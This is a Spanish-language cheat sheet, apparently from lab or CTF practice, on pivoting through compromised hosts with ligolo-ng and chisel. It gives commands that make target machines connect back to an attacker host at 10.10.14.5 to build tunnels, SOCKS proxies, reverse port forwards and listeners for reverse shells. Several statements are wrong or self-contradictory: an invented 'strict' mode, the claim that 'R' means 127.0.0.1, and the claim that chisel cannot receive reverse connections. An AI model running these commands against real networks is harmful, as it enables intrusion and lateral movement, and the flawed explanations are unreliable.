Configuración y Uso de Ligolo-ng
ligolo-ng es una herramienta altamente eficiante para el pivoting de redes y el movimiento lateral. Permite realizar escaneos con nmap, establecer túneles, recibir reverse shells y transferir archivos mediante un servidor web desde la máquina de ataque.
Para comenzar, es necesario inicializar la interfaz de red virtual y levantarla:
sudo ip tuntap add dev tun_pivot mode tun user attacker
sudo ip link set tun_pivot up
A continuación, se inicia el proxy en la máquina de ataque (Kali):
./proxy -selfcert
El agente debe conectarse desde el objetivo. Dependiendo del sistema operativo del objetivo, se ejecuta:
Windows:
.\agent.exe -connect 10.10.14.5:11601 -ignore-cert
Linux:
./agent -connect 10.10.14.5:11601 -ignore-cert
Una vez establecida la conexión, se selecciona la sesión y se enumeran las interfaces de red del objetivo:
session
ifconfig
Se añade la ruta de la red interna a la interfaz virtual y se enicia el túnel:
sudo ip route add 192.168.50.0/24 dev tun_pivot
session
start
Con el túnel activo, es posible escanear la red interna directamente:
nmap -sn 192.168.50.0/24
Para capturar reverse shells o transferir archivos, se configuran listeners redirigiendo puertos locales:
listener_add --addr 0.0.0.0:8443 --to 127.0.0.1:8443
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80
listener_list
Implementación de Chisel
Una consideración crítica al utilizar chisel es que las versiones del cliente y del servidor deben coincidir exactamente. Además, esta herramienta no admite la escucha de reverse shells dentro de la red interna.
Debido a su uso menos convencional, a menudo logra evadir firewalls y sistemas de detección. Sin embargo, los escaneos nmap a través de su proxy SOCKS son considerablemente más lentos porque solo soporta tráfico TCP, y carece de la capacidad para recibir conexiones inversas.
Proxy SOCKS
Se inicia el servidor en la máquina de ataque:
chisel server -p 9090 --reverse
En el objetivo, el cliente se puede ejecutar en segundo plano o en primer plano.
Ejecución en segundo plano (Windows):
Start-Job -ScriptBlock { C:\tools\chisel.exe client 10.10.14.5:9090 R:socks }
Ejecución en segundo plano (Linux):
/tmp/chisel client 10.10.14.5:9090 R:socks > /dev/null 2>&1 &
Ejecución en primer plano:
C:\tools\chisel.exe client 10.10.14.5:9090 R:socks
/tmp/chisel client 10.10.14.5:9090 R:socks
Posteriormente, se configura el proxy en las herramientas de ataque para comunicarse con la red interna a través del túnel SOCKS.
Reenvío de Puertos (Port Forwarding)
El reenvío de puertos en chisel opera en dos modos principales. El modo inverso (reverse) expone un puerto del cliente en el servidor. El modo estricto (strict) hace lo contrario, exponiendo un puerto del servidor en el cliente. Las conexiones inversas son más frecuentes en escenarios reales, ya que los firewalls perimetrales suelen bloquear las conexiones salientes directas hacia el servidor de ataque.
Configuración del servidor:
chisel server -p 9090 --reverse
.\chisel.exe server -p 9090 --reverse
Configuración del cliente para un solo puerto:
/tmp/chisel client 10.10.14.5:9090 R:8888:127.0.0.1:8888
.\chisel.exe client 10.10.14.5:9090 R:8888:127.0.0.1:8888
Para mantener el proceso activo en segundo plano:
/tmp/chisel client 10.10.14.5:9090 R:8888:127.0.0.1:8888 &
Start-Job -ScriptBlock { .\chisel.exe client 10.10.14.5:9090 R:8888:127.0.0.1:8888 }
Es posible exponer múltiples puertos simultáneamente añadiendo más parámetros de enrutamiento:
/tmp/chisel client 10.10.14.5:9090 R:8888:127.0.0.1:8888 R:9443:127.0.0.1:9443
# La letra "R" actúa como un atajo para 127.0.0.1
# Esto pone a la escucha los puertos especificados en la máquina de ataque